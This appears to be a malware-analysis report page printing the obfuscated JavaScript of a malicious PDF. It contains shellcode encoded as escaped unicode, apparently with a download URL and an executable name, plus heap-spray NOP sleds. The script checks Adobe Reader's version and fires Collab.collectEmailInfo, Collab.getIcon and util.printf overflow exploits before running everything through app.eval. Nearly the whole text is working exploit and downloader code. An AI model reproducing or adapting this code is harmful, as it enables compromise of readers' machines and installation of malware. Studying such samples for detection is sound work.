00%u96f\",\"6%uad6\",\"6%ue0c\",\"1%u0302%u1\",\"f85%u00\",\"02%u890\",\"0%uad\",\"c6%u8503%\",\"u021b%u00\",\"00%ue\",\"bc3%u00\",\"10%u0000%\",\"u0000%u00\",\"00%u0000\",\"%u0000%u00\",\"00%u0\",\"000%u\",\"8900%u1b\",\"85%u0\",\"002%u5600%\",\"ue857%uf\",\"f58%uf\",\"fff%u5e5\",\"f%u01ab\",\"%u80c\",\"e%ubb3e\",\"%u0274%ued\",\"eb%u5\",\"5c3%u4c5\",\"2%u4f\",\"4d%u2e4e%\",\"u4c44%u0\",\"04c%u525\",\"5%u44\",\"4c%u776f%\",\"u6c6e%u616\",\"f%u5464\",\"%u466f%u6\",\"c69%u41\",\"65%u7500\",\"%u6470%\",\"u7461%u2e\",\"65%u78\",\"65%u00\",\"65%u7263%u\",\"7361%u\",\"2e68%\",\"u6870%u00\",\"70%u74\",\"68%u7074%u\",\"2f3a%u\",\"732f%u617\",\"4%u6c6c%u\",\"6176%\",\"u7372%u3\",\"72d%u\",\"632e%u2f6e\",\"%u7473%\",\"u2f37%u\",\"7075%u\",\"6164%u6574\",\"%u702\",\"e%u7068%\",\"u693f%u\",\"3d64%\",\"u2633%u657\",\"2%u3d74%\",\"u6b6f%u9\",\"000\");lgzzbDvrJ = unescape(lgzzbDvrJ.join(\"\"));var thxKGPqJ = 0x400000;var dN4ieP2iNJ = lgzzbDvrJ.length * 2;var vy5AnujZ = thxKGPqJ - (dN4ieP2iNJ + 0x38);var mjQ0s1Jm = unescape(\"%u9090%u9090\");mjQ0s1Jm = lHskEaMkm(mjQ0s1Jm, vy5AnujZ);var hggtyPDR = (zwWH2gY7 - 0x400000) / thxKGPqJ;for(var xMz5RFJDr = 0; xMz5RFJDr < hggtyPDR; xMz5RFJDr++){aT2SIgMrm[xMz5RFJDr] = mjQ0s1Jm + lgzzbDvrJ;}}function gPdSGemyl(){var gwCFv8QkMv = 0;var dWz30Wc8Sx = app.viewerVersion.toString();app.clearTimeOut(jUCXkje3R);if((dWz30Wc8Sx >= 8 && dWz30Wc8Sx < 8.102) || dWz30Wc8Sx < 7.1){kTh8tyaiMl(0);var dUecnnyRL = unescape(\"%u0c0c%u0c0c\");while(dUecnnyRL.length < 44952) dUecnnyRL += dUecnnyRL;var wASh3W7k = this;var oNmYv6F8 = Collab;wASh3W7k[\"collabStore\"] = oNmYv6F8[\"collectEmailInfo\"]({subj : \"\", msg : dUecnnyRL});}if((dWz30Wc8Sx >= 8.102 && dWz30Wc8Sx < 8.104) || (dWz30Wc8Sx >= 9 && dWz30Wc8Sx < 9.1) || dWz30Wc8Sx <= 7.101){try{if(app.doc.Collab.getIcon){kTh8tyaiMl(2);var g99lsB5aD5 = unescape(\" \");while(g99lsB5aD5.length < 0x4000){g99lsB5aD5 += g99lsB5aD5;}g99lsB5aD5 = \"N.\" + g99lsB5aD5;var wQCet2Vu = app;wQCet2Vu[\"doc\"][\"Collab\"][\"getIcon\"](g99lsB5aD5);gwCFv8QkMv = 1;}else{gwCFv8QkMv = 1;}}catch(e){gwCFv8QkMv = 1;}if(gwCFv8QkMv == 1){if(dWz30Wc8Sx == 8.102 || dWz30Wc8Sx == 7.1){kTh8tyaiMl(1);var krnGx4eoY = \"12999999999999999999\";for(mTfNarK8c = 0; mTfNarK8c < 276; mTfNarK8c++){krnGx4eoY += \"8\";}var xwM9uDR1Z = util;xwM9uDR1Z[\"printf\"](\"E000f\", krnGx4eoY);}}}}app.pWqkQU3H = gPdSGemyl;jUCXkje3R = app.setTimeOut(\"app.pWqkQU3H()\", 10);';var xLnzz5Ne6=new Array("vWbVWRuEeD","o3Snd0Kmx","pNoE2xpX");this.gq9yAn782='hgrFUNJC';this.wAjP8Nbz6=16523;var r6KInqXsz = sxz3TlE7H.replace(/[]/g, '');var aHj0mNxG=new Array('iPu63Iz8l','jR3yxekiKc');function mWTf2NTmz(q6bodhAB,sS1npu7qg,moOIAGhC){return false;}var y0BzaR3Ce=new Array("phldahIIt","rqVkMn73vX","wfNlaURwA");var nSd4Sni7x = 'eval';app[nSd4Sni7x](r6KInqXsz);this.gBSQBVtK=false;var x8tgaP7Tc=new Array(14633,1198);vUYPS6xyP=0.3;
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.